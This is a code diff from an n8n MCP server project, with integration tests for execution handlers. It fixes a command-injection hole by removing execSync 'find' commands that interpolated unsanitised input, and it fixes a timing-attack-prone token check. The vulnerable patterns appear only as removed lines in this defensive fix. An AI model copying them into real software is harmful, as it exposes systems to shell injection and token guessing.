+  case?: number; // For Switch/multi-output nodes: maps to sourceIndex
 }
 
 export interface RemoveConnectionOperation extends DiffOperation {
@@ -75,16 +78,17 @@ export interface RemoveConnectionOperation extends DiffOperation {
   ignoreErrors?: boolean; // If true, don't fail when connection doesn't exist (useful for cleanup)
 }
 
-export interface UpdateConnectionOperation extends DiffOperation {
-  type: 'updateConnection';
-  source: string;
-  target: string;
-  updates: {
-    sourceOutput?: string;
-    targetInput?: string;
-    sourceIndex?: number;
-    targetIndex?: number;
-  };
+export interface RewireConnectionOperation extends DiffOperation {
+  type: 'rewireConnection';
+  source: string;      // Source node name or ID
+  from: string;        // Current target to rewire FROM
+  to: string;          // New target to rewire TO
+  sourceOutput?: string;  // Optional: which output to rewire (default: 'main')
+  targetInput?: string;   // Optional: which input type (default: 'main')
+  sourceIndex?: number;   // Optional: which source index (default: 0)
+  // Smart parameters for multi-output nodes (Phase 1 UX improvement)
+  branch?: 'true' | 'false'; // For IF nodes: maps to sourceIndex (0=true, 1=false)
+  case?: number; // For Switch/multi-output nodes: maps to sourceIndex
 }
 
 // Workflow Metadata Operations
@@ -139,7 +143,7 @@ export type WorkflowDiffOperation =
   | DisableNodeOperation
   | AddConnectionOperation
   | RemoveConnectionOperation
-  | UpdateConnectionOperation
+  | RewireConnectionOperation
   | UpdateSettingsOperation
   | UpdateNameOperation
   | AddTagOperation
@@ -187,8 +191,8 @@ export function isNodeOperation(op: WorkflowDiffOperation): op is
 }
 
 export function isConnectionOperation(op: WorkflowDiffOperation): op is
-  AddConnectionOperation | RemoveConnectionOperation | UpdateConnectionOperation | CleanStaleConnectionsOperation | ReplaceConnectionsOperation {
-  return ['addConnection', 'removeConnection', 'updateConnection', 'cleanStaleConnections', 'replaceConnections'].includes(op.type);
+  AddConnectionOperation | RemoveConnectionOperation | RewireConnectionOperation | CleanStaleConnectionsOperation | ReplaceConnectionsOperation {
+  return ['addConnection', 'removeConnection', 'rewireConnection', 'cleanStaleConnections', 'replaceConnections'].includes(op.type);
 }
 
 export function isMetadataOperation(op: WorkflowDiffOperation): op is 

src/utils/auth.ts

@@ -22,8 +22,9 @@ export class AuthManager {
       return false;
     }
 
-    // Check static token
-    if (token === expectedToken) {
+    // SECURITY: Use timing-safe comparison for static token
+    // See: https://github.com/czlonkowski/n8n-mcp/issues/265 (CRITICAL-02)
+    if (AuthManager.timingSafeCompare(token, expectedToken)) {
       return true;
     }
 
@@ -97,4 +98,47 @@ export class AuthManager {
       Buffer.from(hashedToken)
     );
   }
+
+  /**
+   * Compare two tokens using constant-time algorithm to prevent timing attacks
+   *
+   * @param plainToken - Token from request
+   * @param expectedToken - Expected token value
+   * @returns true if tokens match, false otherwise
+   *
+   * @security This uses crypto.timingSafeEqual to prevent timing attack vulnerabilities.
+   * Never use === or !== for token comparison as it allows attackers to discover
+   * tokens character-by-character through timing analysis.
+   *
+   * @example
+   * const isValid = AuthManager.timingSafeCompare(requestToken, serverToken);
+   * if (!isValid) {
+   *   return res.status(401).json({ error: 'Unauthorized' });
+   * }
+   *
+   * @see https://github.com/czlonkowski/n8n-mcp/issues/265 (CRITICAL-02)
+   */
+  static timingSafeCompare(plainToken: string, expectedToken: string): boolean {
+    try {
+      // Tokens must be non-empty
+      if (!plainToken || !expectedToken) {
+        return false;
+      }
+
+      // Convert to buffers
+      const plainBuffer = Buffer.from(plainToken, 'utf8');
+      const expectedBuffer = Buffer.from(expectedToken, 'utf8');
+
+      // Check length first (constant time not needed for length comparison)
+      if (plainBuffer.length !== expectedBuffer.length) {
+        return false;
+      }
+
+      // Constant-time comparison
+      return crypto.timingSafeEqual(plainBuffer, expectedBuffer);
+    } catch (error) {
+      // Buffer conversion or comparison failed
+      return false;
+    }
+  }
 }

src/utils/enhanced-documentation-fetcher.ts

@@ -560,35 +560,113 @@ export class EnhancedDocumentationFetcher {
 
   /**
    * Search for node documentation file
+   * SECURITY: Uses Node.js fs APIs instead of shell commands to prevent command injection
+   * See: https://github.com/czlonkowski/n8n-mcp/issues/265 (CRITICAL-01)
    */
   private async searchForNodeDoc(nodeType: string): Promise<string | null> {
     try {
-      // First try exact match with nodeType
-      let result = execSync(
-        `find ${this.docsPath}/docs/integrations/builtin -name "${nodeType}.md" -type f | grep -v credentials | head -1`,
-        { encoding: 'utf-8', stdio: 'pipe' }
-      ).trim();
-      
-      if (result) return result;
-      
-      // Try lowercase nodeType
-      const lowerNodeType = nodeType.toLowerCase();
-      result = execSync(
-        `find ${this.docsPath}/docs/integrations/builtin -name "${lowerNodeType}.md" -type f | grep -v credentials | head -1`,
-        { encoding: 'utf-8', stdio: 'pipe' }
-      ).trim();
-      
-      if (result) return result;
-      
-      // Try node name pattern but exclude trigger nodes
-      const nodeName = this.extractNodeName(nodeType);
-      result = execSync(
-        `find ${this.docsPath}/docs/integrations/builtin -name "*${nodeName}.md" -type f | grep -v credentials | grep -v trigger | head -1`,
-        { encoding: 'utf-8', stdio: 'pipe' }
-      ).trim();
-      
-      return result || null;
+      // SECURITY: Sanitize input to prevent command injection and directory traversal
+      const sanitized = nodeType.replace(/[^a-zA-Z0-9._-]/g, '');
+
+      if (!sanitized) {
+        logger.warn('Invalid nodeType after sanitization', { nodeType });
+        return null;
+      }
+
+      // SECURITY: Block directory traversal attacks
+      if (sanitized.includes('..') || sanitized.startsWith('.') || sanitized.startsWith('/')) {
+        logger.warn('Path traversal attempt blocked', { nodeType, sanitized });
+        return null;
+      }
+
+      // Log sanitization if it occurred
+      if (sanitized !== nodeType) {
+        logger.warn('nodeType was sanitized (potential injection attempt)', {
+          original: nodeType,
+          sanitized,
+        });
+      }
+
+      // SECURITY: Use path.basename to strip any path components
+      const safeName = path.basename(sanitized);
+      const searchPath = path.join(this.docsPath, 'docs', 'integrations', 'builtin');
+
+      // SECURITY: Read directory recursively using Node.js fs API (no shell execution!)
+      const files = await fs.readdir(searchPath, {
+        recursive: true,
+        encoding: 'utf-8'
+      }) as string[];
+
+      // Try exact match first
+      let match = files.find(f =>
+        f.endsWith(`${safeName}.md`) &&
+        !f.includes('credentials') &&
+        !f.includes('trigger')
+      );
+
+      if (match) {
+        const fullPath = path.join(searchPath, match);
+
+        // SECURITY: Verify final path is within expected directory
+        if (!fullPath.startsWith(searchPath)) {
+          logger.error('Path traversal blocked in final path', { fullPath, searchPath });
+          return null;
+        }
+
+        logger.info('Found documentation (exact match)', { path: fullPath });
+        return fullPath;
+      }
+
+      // Try lowercase match
+      const lowerSafeName = safeName.toLowerCase();
+      match = files.find(f =>
+        f.endsWith(`${lowerSafeName}.md`) &&
+        !f.includes('credentials') &&
+        !f.includes('trigger')
+      );
+
+      if (match) {
+        const fullPath = path.join(searchPath, match);
+
+        // SECURITY: Verify final path is within expected directory
+        if (!fullPath.startsWith(searchPath)) {
+          logger.error('Path traversal blocked in final path', { fullPath, searchPath });
+          return null;
+        }
+
+        logger.info('Found documentation (lowercase match)', { path: fullPath });
+        return fullPath;
+      }
+
+      // Try partial match with node name
+      const nodeName = this.extractNodeName(safeName);
+      match = files.find(f =>
+        f.toLowerCase().includes(nodeName.toLowerCase()) &&
+        f.endsWith('.md') &&
+        !f.includes('credentials') &&
+        !f.includes('trigger')
+      );
+
+      if (match) {
+        const fullPath = path.join(searchPath, match);
+
+        // SECURITY: Verify final path is within expected directory
+        if (!fullPath.startsWith(searchPath)) {
+          logger.error('Path traversal blocked in final path', { fullPath, searchPath });
+          return null;
+        }
+
+        logger.info('Found documentation (partial match)', { path: fullPath });
+        return fullPath;
+      }
+
+      logger.debug('No documentation found', { nodeType: safeName });
+      return null;
     } catch (error) {
+      logger.error('Error searching for node documentation:', {
+        error: error instanceof Error ? error.message : String(error),
+        nodeType,
+      });
       return null;
     }
   }

src/utils/node-utils.ts

@@ -32,13 +32,18 @@ export function normalizeNodeType(nodeType: string): string {
 
 /**
  * Gets alternative node type formats to try for lookups
- * 
+ *
  * @param nodeType The original node type
  * @returns Array of alternative formats to try
  */
 export function getNodeTypeAlternatives(nodeType: string): string[] {
+  // Defensive: validate input to prevent TypeError when nodeType is undefined/null/empty
+  if (!nodeType || typeof nodeType !== 'string' || nodeType.trim() === '') {
+    return [];
+  }
+
   const alternatives: string[] = [];
-  
+
   // Add lowercase version
   alternatives.push(nodeType.toLowerCase());
   

tests/integration/n8n-api/executions/delete-execution.test.ts

@@ -0,0 +1,148 @@
+/**
+ * Integration Tests: handleDeleteExecution
+ *
+ * Tests execution deletion against a real n8n instance.
+ * Covers successful deletion, error handling, and cleanup verification.
+ */
+
+import { describe, it, expect, beforeEach, beforeAll } from 'vitest';
+import { createMcpContext } from '../utils/mcp-context';
+import { InstanceContext } from '../../../../src/types/instance-context';
+import { handleDeleteExecution, handleTriggerWebhookWorkflow, handleGetExecution } from '../../../../src/mcp/handlers-n8n-manager';
+import { getN8nCredentials } from '../utils/credentials';
+
+describe('Integration: handleDeleteExecution', () => {
+  let mcpContext: InstanceContext;
+  let webhookUrl: string;
+
+  beforeEach(() => {
+    mcpContext = createMcpContext();
+  });
+
+  beforeAll(() => {
+    const creds = getN8nCredentials();
+    webhookUrl = creds.webhookUrls.get;
+  });
+
+  // ======================================================================
+  // Successful Deletion
+  // ======================================================================
+
+  describe('Successful Deletion', () => {
+    it('should delete an execution successfully', async () => {
+      // First, create an execution to delete
+      const triggerResponse = await handleTriggerWebhookWorkflow(
+        {
+          webhookUrl,
+          httpMethod: 'GET',
+          waitForResponse: true
+        },
+        mcpContext
+      );
+
+      // Try to extract execution ID
+      let executionId: string | undefined;
+      if (triggerResponse.success && triggerResponse.data) {
+        const responseData = triggerResponse.data as any;
+        executionId = responseData.executionId ||
+                      responseData.id ||
+                      responseData.execution?.id ||
+                      responseData.workflowData?.executionId;
+      }
+
+      if (!executionId) {
+        console.warn('Could not extract execution ID for deletion test');
+        return;
+      }
+
+      // Delete the execution
+      const response = await handleDeleteExecution(
+        { id: executionId },
+        mcpContext
+      );
+
+      expect(response.success).toBe(true);
+      expect(response.data).toBeDefined();
+    }, 30000);
+
+    it('should verify execution is actually deleted', async () => {
+      // Create an execution
+      const triggerResponse = await handleTriggerWebhookWorkflow(
+        {
+          webhookUrl,
+          httpMethod: 'GET',
+          waitForResponse: true
+        },
+        mcpContext
+      );
+
+      let executionId: string | undefined;
+      if (triggerResponse.success && triggerResponse.data) {
+        const responseData = triggerResponse.data as any;
+        executionId = responseData.executionId ||
+                      responseData.id ||
+                      responseData.execution?.id ||
+                      responseData.workflowData?.executionId;
+      }
+
+      if (!executionId) {
+        console.warn('Could not extract execution ID for deletion verification test');
+        return;
+      }
+
+      // Delete it
+      const deleteResponse = await handleDeleteExecution(
+        { id: executionId },
+        mcpContext
+      );
+
+      expect(deleteResponse.success).toBe(true);
+
+      // Try to fetch the deleted execution
+      const getResponse = await handleGetExecution(
+        { id: executionId },
+        mcpContext
+      );
+
+      // Should fail to find the deleted execution
+      expect(getResponse.success).toBe(false);
+      expect(getResponse.error).toBeDefined();
+    }, 30000);
+  });
+
+  // ======================================================================
+  // Error Handling
+  // ======================================================================
+
+  describe('Error Handling', () => {
+    it('should handle non-existent execution ID', async () => {
+      const response = await handleDeleteExecution(
+        { id: '99999999' },
+        mcpContext
+      );
+
+      expect(response.success).toBe(false);
+      expect(response.error).toBeDefined();
+    });
+
+    it('should handle invalid execution ID format', async () => {
+      const response = await handleDeleteExecution(
+        { id: 'invalid-id-format' },
+        mcpContext
+      );
+
+      expect(response.success).toBe(false);
+      expect(response.error).toBeDefined();
+    });
+
+    it('should handle missing execution ID', async () => {
+      const response = await handleDeleteExecution(
+        {} as any,
+        mcpContext
+      );
+
+      expect(response.success).toBe(false);
+      expect(response.error).toBeDefined();
+    });
+  });
+});

tests/integration/n8n-api/executions/get-execution.test.ts

@@ -0,0 +1,428 @@
+/**
+ * Integration Tests: handleGetExecution
+ *
+ * Tests execution retrieval against a real n8n instance.
+ * Covers all retrieval modes, filtering options, and error handling.
+ */
+
+import { describe, it, expect, beforeAll } from 'vitest';
+import { createMcpContext } from '../utils/mcp-context';
+import { InstanceContext } from '../../../../src/types/instance-context';
+import { handleGetExecution, handleTriggerWebhookWorkflow } from '../../../../src/mcp/handlers-n8n-manager';
+import { getN8nCredentials } from '../utils/credentials';
+
+describe('Integration: handleGetExecution', () => {
+  let mcpContext: InstanceContext;
+  let executionId: string;
+  let webhookUrl: string;
+
+  beforeAll(async () => {
+    mcpContext = createMcpContext();
+    const creds = getN8nCredentials();
+    webhookUrl = creds.webhookUrls.get;
+
+    // Trigger a webhook to create an execution for testing
+    const triggerResponse = await handleTriggerWebhookWorkflow(
+      {
+        webhookUrl,
+        httpMethod: 'GET',
+        waitForResponse: true
+      },
+      mcpContext
+    );
+
+    // Extract execution ID from the response
+    if (triggerResponse.success && triggerResponse.data) {
+      const responseData = triggerResponse.data as any;
+      // Try to get execution ID from various possible locations
+      executionId = responseData.executionId ||
+                    responseData.id ||
+                    responseData.execution?.id ||
+                    responseData.workflowData?.executionId;
+
+      if (!executionId) {
+        // If no execution ID in response, we'll use error handling tests
+        console.warn('Could not extract execution ID from webhook response');
+      }
+    }
+  }, 30000);
+
+  // ======================================================================
+  // Preview Mode
+  // ======================================================================
+
+  describe('Preview Mode', () => {
+    it('should get execution in preview mode (structure only)', async () => {
+      if (!executionId) {
+        console.warn('Skipping test: No execution ID available');
+        return;
+      }
+
+      const response = await handleGetExecution(
+        {
+          id: executionId,
+          mode: 'preview'
+        },
+        mcpContext
+      );
+
+      expect(response.success).toBe(true);
+      const data = response.data as any;
+
+      // Preview mode should return structure and counts
+      expect(data).toBeDefined();
+      expect(data.id).toBe(executionId);
+
+      // Should have basic execution info
+      if (data.status) {
+        expect(['success', 'error', 'running', 'waiting']).toContain(data.status);
+      }
+    });
+  });
+
+  // ======================================================================
+  // Summary Mode (Default)
+  // ======================================================================
+
+  describe('Summary Mode', () => {
+    it('should get execution in summary mode (2 samples per node)', async () => {
+      if (!executionId) {
+        console.warn('Skipping test: No execution ID available');
+        return;
+      }
+
+      const response = await handleGetExecution(
+        {
+          id: executionId,
+          mode: 'summary'
+        },
+        mcpContext
+      );
+
+      expect(response.success).toBe(true);
+      const data = response.data as any;
+
+      expect(data).toBeDefined();
+      expect(data.id).toBe(executionId);
+    });
+
+    it('should default to summary mode when mode not specified', async () => {
+      if (!executionId) {
+        console.warn('Skipping test: No execution ID available');
+        return;
+      }
+
+      const response = await handleGetExecution(
+        {
+          id: executionId
+        },
+        mcpContext
+      );
+
+      expect(response.success).toBe(true);
+      const data = response.data as any;
+
+      expect(data).toBeDefined();
+      expect(data.id).toBe(executionId);
+    });
+  });
+
+  // ======================================================================
+  // Filtered Mode
+  // ======================================================================
+
+  describe('Filtered Mode', () => {
+    it('should get execution with custom items limit', async () => {
+      if (!executionId) {
+        console.warn('Skipping test: No execution ID available');
+        return;
+      }
+
+      const response = await handleGetExecution(
+        {
+          id: executionId,
+          mode: 'filtered',
+          itemsLimit: 5
+        },
+        mcpContext
+      );
+
+      expect(response.success).toBe(true);
+      const data = response.data as any;
+
+      expect(data).toBeDefined();
+      expect(data.id).toBe(executionId);
+    });
+
+    it('should get execution with itemsLimit 0 (structure only)', async () => {
+      if (!executionId) {
+        console.warn('Skipping test: No execution ID available');
+        return;
+      }
+
+      const response = await handleGetExecution(
+        {
+          id: executionId,
+          mode: 'filtered',
+          itemsLimit: 0
+        },
+        mcpContext
+      );
+
+      expect(response.success).toBe(true);
+      const data = response.data as any;
+
+      expect(data).toBeDefined();
+      expect(data.id).toBe(executionId);
+    });
+
+    it('should get execution with unlimited items (itemsLimit: -1)', async () => {
+      if (!executionId) {
+        console.warn('Skipping test: No execution ID available');
+        return;
+      }
+
+      const response = await handleGetExecution(
+        {
+          id: executionId,
+          mode: 'filtered',
+          itemsLimit: -1
+        },
+        mcpContext
+      );
+
+      expect(response.success).toBe(true);
+      const data = response.data as any;
+
+      expect(data).toBeDefined();
+      expect(data.id).toBe(executionId);
+    });
+
+    it('should get execution filtered by node names', async () => {
+      if (!executionId) {
+        console.warn('Skipping test: No execution ID available');
+        return;
+      }
+
+      const response = await handleGetExecution(
+        {
+          id: executionId,
+          mode: 'filtered',
+          nodeNames: ['Webhook']
+        },
+        mcpContext
+      );
+
+      expect(response.success).toBe(true);
+      const data = response.data as any;
+
+      expect(data).toBeDefined();
+      expect(data.id).toBe(executionId);
+    });
+  });
+
+  // ======================================================================
+  // Full Mode
+  // ======================================================================
+
+  describe('Full Mode', () => {
+    it('should get complete execution data', async () => {
+      if (!executionId) {
+        console.warn('Skipping test: No execution ID available');
+        return;
+      }
+
+      const response = await handleGetExecution(
+        {
+          id: executionId,
+          mode: 'full'
+        },
+        mcpContext
+      );
+
+      expect(response.success).toBe(true);
+      const data = response.data as any;
+
+      expect(data).toBeDefined();
+      expect(data.id).toBe(executionId);
+
+      // Full mode should include complete execution data
+      if (data.data) {
+        expect(typeof data.data).toBe('object');
+      }
+    });
+  });
+
+  // ======================================================================
+  // Input Data Inclusion
+  // ======================================================================
+
+  describe('Input Data Inclusion', () => {
+    it('should include input data when requested', async () => {
+      if (!executionId) {
+        console.warn('Skipping test: No execution ID available');
+        return;
+      }
+
+      const response = await handleGetExecution(
+        {
+          id: executionId,
+          mode: 'summary',
+          includeInputData: true
+        },
+        mcpContext
+      );
+
+      expect(response.success).toBe(true);
+      const data = response.data as any;
+
+      expect(data).toBeDefined();
+      expect(data.id).toBe(executionId);
+    });
+
+    it('should exclude input data by default', async () => {
+      if (!executionId) {
+        console.warn('Skipping test: No execution ID available');
+        return;
+      }
+
+      const response = await handleGetExecution(
+        {
+          id: executionId,
+          mode: 'summary',
+          includeInputData: false
+        },
+        mcpContext
+      );
+
+      expect(response.success).toBe(true);
+      const data = response.data as any;
+
+      expect(data).toBeDefined();
+      expect(data.id).toBe(executionId);
+    });
+  });
+
+  // ======================================================================
+  // Legacy Parameter Compatibility
+  // ======================================================================
+
+  describe('Legacy Parameter Compatibility', () => {
+    it('should support legacy includeData parameter', async () => {
+      if (!executionId) {
+        console.warn('Skipping test: No execution ID available');
+        return;
+      }
+
+      const response = await handleGetExecution(
+        {
+          id: executionId,
+          includeData: true
+        },
+        mcpContext
+      );
+
+      expect(response.success).toBe(true);
+      const data = response.data as any;
+
+      expect(data).toBeDefined();
+      expect(data.id).toBe(executionId);
+    });
+  });
+
+  // ======================================================================
+  // Error Handling
+  // ======================================================================
+
+  describe('Error Handling', () => {
+    it('should handle non-existent execution ID', async () => {
+      const response = await handleGetExecution(
+        {
+          id: '99999999'
+        },
+        mcpContext
+      );
+
+      expect(response.success).toBe(false);
+      expect(response.error).toBeDefined();
+    });
+
+    it('should handle invalid execution ID format', async () => {
+      const response = await handleGetExecution(
+        {
+          id: 'invalid-id-format'
+        },
+        mcpContext
+      );
+
+      expect(response.success).toBe(false);
+      expect(response.error).toBeDefined();
+    });
+
+    it('should handle missing execution ID', async () => {
+      const response = await handleGetExecution(
+        {} as any,
+        mcpContext
+      );
+
+      expect(response.success).toBe(false);
+      expect(response.error).toBeDefined();
+    });
+
+    it('should handle invalid mode parameter', async () => {
+      if (!executionId) {
+        console.warn('Skipping test: No execution ID available');
+        return;
+      }
+
+      const response = await handleGetExecution(
+        {
+          id: executionId,
+          mode: 'invalid-mode' as any
+        },
+        mcpContext
+      );
+
+      expect(response.success).toBe(false);
+      expect(response.error).toBeDefined();
+    });
+  });
+
+  // ======================================================================
+  // Response Format Verification
+  // ======================================================================
+
+  describe('Response Format', () => {
+    it('should return complete execution response structure', async () => {
+      if (!executionId) {
+        console.warn('Skipping test: No execution ID available');
+        return;
+      }
+
+      const response = await handleGetExecution(
+        {
+          id: executionId,
+          mode: 'summary'
+        },
+        mcpContext
+      );
+
+      expect(response.success).toBe(true);
+      expect(response.data).toBeDefined();
+
+      const data = response.data as any;
+      expect(data.id).toBeDefined();
+
+      // Should have execution metadata
+      if (data.status) {
+        expect(typeof data.status).toBe('string');
+      }
+      if (data.mode) {
+        expect(typeof data.mode).toBe('string');
+      }
+      if (data.startedAt) {
+        expect(typeof data.startedAt).toBe('string');
+      }
+    });
+  });
+});

tests/integration/n8n-api/executions/list-executions.test.ts

@@ -0,0 +1,263 @@
+/**
+ * Integration Tests: handleListExecutions
+ *
+ * Tests execution listing against a real n8n instance.
+ * Covers filtering, pagination, and various list parameters.
+ */
+
+import { describe, it, expect, beforeEach } from 'vitest';
+import { createMcpContext } from '../utils/mcp-context';
+import { InstanceContext } from '../../../../src/types/instance-context';
+import { handleListExecutions } from '../../../../src/mcp/handlers-n8n-manager';
+
+describe('Integration: handleListExecutions', () => {
+  let mcpContext: InstanceContext;
+
+  beforeEach(() => {
+    mcpContext = createMcpContext();
+  });
+
+  // ======================================================================
+  // No Filters
+  // ======================================================================
+
+  describe('No Filters', () => {
+    it('should list all executions without filters', async () => {
+      const response = await handleListExecutions({}, mcpContext);
+
+      expect(response.success).toBe(true);
+      expect(response.data).toBeDefined();
+
+      const data = response.data as any;
+      expect(Array.isArray(data.executions)).toBe(true);
+      expect(data).toHaveProperty('returned');
+    });
+  });
+
+  // ======================================================================
+  // Filter by Status
+  // ======================================================================
+
+  describe('Filter by Status', () => {
+    it('should filter executions by success status', async () => {
+      const response = await handleListExecutions(
+        { status: 'success' },
+        mcpContext
+      );
+
+      expect(response.success).toBe(true);
+      const data = response.data as any;
+
+      expect(Array.isArray(data.executions)).toBe(true);
+      // All returned executions should have success status
+      if (data.executions.length > 0) {
+        data.executions.forEach((exec: any) => {
+          expect(exec.status).toBe('success');
+        });
+      }
+    });
+
+    it('should filter executions by error status', async () => {
+      const response = await handleListExecutions(
+        { status: 'error' },
+        mcpContext
+      );
+
+      expect(response.success).toBe(true);
+      const data = response.data as any;
+
+      expect(Array.isArray(data.executions)).toBe(true);
+      // All returned executions should have error status
+      if (data.executions.length > 0) {
+        data.executions.forEach((exec: any) => {
+          expect(exec.status).toBe('error');
+        });
+      }
+    });
+
+    it('should filter executions by waiting status', async () => {
+      const response = await handleListExecutions(
+        { status: 'waiting' },
+        mcpContext
+      );
+
+      expect(response.success).toBe(true);
+      const data = response.data as any;
+
+      expect(Array.isArray(data.executions)).toBe(true);
+    });
+  });
+
+  // ======================================================================
+  // Pagination
+  // ======================================================================
+
+  describe('Pagination', () => {
+    it('should return first page with limit', async () => {
+      const response = await handleListExecutions(
+        { limit: 10 },
+        mcpContext
+      );
+
+      expect(response.success).toBe(true);
+      const data = response.data as any;
+
+      expect(Array.isArray(data.executions)).toBe(true);
+      expect(data.executions.length).toBeLessThanOrEqual(10);
+    });
+
+    it('should handle pagination with cursor', async () => {
+      // Get first page
+      const firstPage = await handleListExecutions(
+        { limit: 5 },
+        mcpContext
+      );
+
+      expect(firstPage.success).toBe(true);
+      const firstData = firstPage.data as any;
+
+      // If there's a next cursor, get second page
+      if (firstData.nextCursor) {
+        const secondPage = await handleListExecutions(
+          { limit: 5, cursor: firstData.nextCursor },
+          mcpContext
+        );
+
+        expect(secondPage.success).toBe(true);
+        const secondData = secondPage.data as any;
+
+        // Second page should have different executions
+        const firstIds = new Set(firstData.executions.map((e: any) => e.id));
+        const secondIds = secondData.executions.map((e: any) => e.id);
+
+        secondIds.forEach((id: string) => {
+          expect(firstIds.has(id)).toBe(false);
+        });
+      }
+    });
+
+    it('should respect limit=1', async () => {
+      const response = await handleListExecutions(
+        { limit: 1 },
+        mcpContext
+      );
+
+      expect(response.success).toBe(true);
+      const data = response.data as any;
+
+      expect(data.executions.length).toBeLessThanOrEqual(1);
+    });
+
+    it('should respect limit=50', async () => {
+      const response = await handleListExecutions(
+        { limit: 50 },
+        mcpContext
+      );
+
+      expect(response.success).toBe(true);
+      const data = response.data as any;
+
+      expect(data.executions.length).toBeLessThanOrEqual(50);
+    });
+
+    it('should respect limit=100 (max)', async () => {
+      const response = await handleListExecutions(
+        { limit: 100 },
+        mcpContext
+      );
+
+      expect(response.success).toBe(true);
+      const data = response.data as any;
+
+      expect(data.executions.length).toBeLessThanOrEqual(100);
+    });
+  });
+
+  // ======================================================================
+  // Include Execution Data
+  // ======================================================================
+
+  describe('Include Execution Data', () => {
+    it('should exclude execution data by default', async () => {
+      const response = await handleListExecutions(
+        { limit: 5 },
+        mcpContext
+      );
+
+      expect(response.success).toBe(true);
+      const data = response.data as any;
+
+      expect(Array.isArray(data.executions)).toBe(true);
+      // By default, should not include full execution data
+    });
+
+    it('should include execution data when requested', async () => {
+      const response = await handleListExecutions(
+        { limit: 5, includeData: true },
+        mcpContext
+      );
+
+      expect(response.success).toBe(true);
+      const data = response.data as any;
+
+      expect(Array.isArray(data.executions)).toBe(true);
+    });
+  });
+
+  // ======================================================================
+  // Empty Results
+  // ======================================================================
+
+  describe('Empty Results', () => {
+    it('should return empty array when no executions match filters', async () => {
+      // Use a very restrictive workflowId that likely doesn't exist
+      const response = await handleListExecutions(
+        { workflowId: '99999999' },
+        mcpContext
+      );
+
+      expect(response.success).toBe(true);
+      const data = response.data as any;
+
+      expect(Array.isArray(data.executions)).toBe(true);
+      // May or may not be empty depending on actual data
+    });
+  });
+
+  // ======================================================================
+  // Response Format Verification
+  // ======================================================================
+
+  describe('Response Format', () => {
+    it('should return complete list response structure', async () => {
+      const response = await handleListExecutions(
+        { limit: 10 },
+        mcpContext
+      );
+
+      expect(response.success).toBe(true);
+      const data = response.data as any;
+
+      // Verify required fields
+      expect(data).toHaveProperty('executions');
+      expect(Array.isArray(data.executions)).toBe(true);
+      expect(data).toHaveProperty('returned');
+      expect(data).toHaveProperty('hasMore');
+
+      // Verify pagination fields when present
+      if (data.nextCursor) {
+        expect(typeof data.nextCursor).toBe('string');
+      }
+
+      // Verify execution structure if any executions returned
+      if (data.executions.length > 0) {
+        const execution = data.executions[0];
+        expect(execution).toHaveProperty('id');
+
+        if (execution.status) {
+          expect(['success', 'error', 'running', 'waiting']).toContain(execution.status);
+        }
+      }
+    });
+  });
+});

tests/integration/n8n-api/executions/trigger-webhook.test.ts

@@ -0,0 +1,375 @@
+/**
+ * Integration Tests: handleTriggerWebhookWorkflow
+ *
+ * Tests webhook triggering against a real n8n instance.
+ * Covers all HTTP methods, request data, headers, and error handling.
+ */
+
+import { describe, it, expect, beforeEach } from 'vitest';
+import { createMcpContext } from '../utils/mcp-context';
+import { InstanceContext } from '../../../../src/types/instance-context';
+import { handleTriggerWebhookWorkflow } from '../../../../src/mcp/handlers-n8n-manager';
+import { getN8nCredentials } from '../utils/credentials';
+
+describe('Integration: handleTriggerWebhookWorkflow', () => {
+  let mcpContext: InstanceContext;
+  let webhookUrls: {
+    get: string;
+    post: string;
+    put: string;
+    delete: string;
+  };
+
+  beforeEach(() => {
+    mcpContext = createMcpContext();
+    const creds = getN8nCredentials();
+    webhookUrls = creds.webhookUrls;
+  });
+
+  // ======================================================================
+  // GET Method Tests
+  // ======================================================================
+
+  describe('GET Method', () => {
+    it('should trigger GET webhook without data', async () => {
+      const response = await handleTriggerWebhookWorkflow(
+        {
+          webhookUrl: webhookUrls.get,
+          httpMethod: 'GET'
+        },
+        mcpContext
+      );
+
+      expect(response.success).toBe(true);
+      expect(response.data).toBeDefined();
+      expect(response.message).toContain('Webhook triggered successfully');
+    });
+
+    it('should trigger GET webhook with query parameters', async () => {
+      // GET method uses query parameters in URL
+      const urlWithParams = `${webhookUrls.get}?testParam=value&number=42`;
+
+      const response = await handleTriggerWebhookWorkflow(
+        {
+          webhookUrl: urlWithParams,
+          httpMethod: 'GET'
+        },
+        mcpContext
+      );
+
+      expect(response.success).toBe(true);
+      expect(response.data).toBeDefined();
+    });
+
+    it('should trigger GET webhook with custom headers', async () => {
+      const response = await handleTriggerWebhookWorkflow(
+        {
+          webhookUrl: webhookUrls.get,
+          httpMethod: 'GET',
+          headers: {
+            'X-Custom-Header': 'test-value',
+            'X-Request-Id': '12345'
+          }
+        },
+        mcpContext
+      );
+
+      expect(response.success).toBe(true);
+      expect(response.data).toBeDefined();
+    });
+
+    it('should trigger GET webhook and wait for response', async () => {
+      const response = await handleTriggerWebhookWorkflow(
+        {
+          webhookUrl: webhookUrls.get,
+          httpMethod: 'GET',
+          waitForResponse: true
+        },
+        mcpContext
+      );
+
+      expect(response.success).toBe(true);
+      expect(response.data).toBeDefined();
+      // Response should contain workflow execution data
+    });
+  });
+
+  // ======================================================================
+  // POST Method Tests
+  // ======================================================================
+
+  describe('POST Method', () => {
+    it('should trigger POST webhook with JSON data', async () => {
+      const response = await handleTriggerWebhookWorkflow(
+        {
+          webhookUrl: webhookUrls.post,
+          httpMethod: 'POST',
+          data: {
+            message: 'Test webhook trigger',
+            timestamp: Date.now(),
+            nested: {
+              value: 'nested data'
+            }
+          }
+        },
+        mcpContext
+      );
+
+      expect(response.success).toBe(true);
+      expect(response.data).toBeDefined();
+    });
+
+    it('should trigger POST webhook without data', async () => {
+      const response = await handleTriggerWebhookWorkflow(
+        {
+          webhookUrl: webhookUrls.post,
+          httpMethod: 'POST'
+        },
+        mcpContext
+      );
+
+      expect(response.success).toBe(true);
+      expect(response.data).toBeDefined();
+    });
+
+    it('should trigger POST webhook with custom headers', async () => {
+      const response = await handleTriggerWebhookWorkflow(
+        {
+          webhookUrl: webhookUrls.post,
+          httpMethod: 'POST',
+          data: { test: 'data' },
+          headers: {
+            'Content-Type': 'application/json',
+            'X-Api-Key': 'test-key'
+          }
+        },
+        mcpContext
+      );
+
+      expect(response.success).toBe(true);
+      expect(response.data).toBeDefined();
+    });
+
+    it('should trigger POST webhook without waiting for response', async () => {
+      const response = await handleTriggerWebhookWorkflow(
+        {
+          webhookUrl: webhookUrls.post,
+          httpMethod: 'POST',
+          data: { async: true },
+          waitForResponse: false
+        },
+        mcpContext
+      );
+
+      expect(response.success).toBe(true);
+      // With waitForResponse: false, may return immediately
+    });
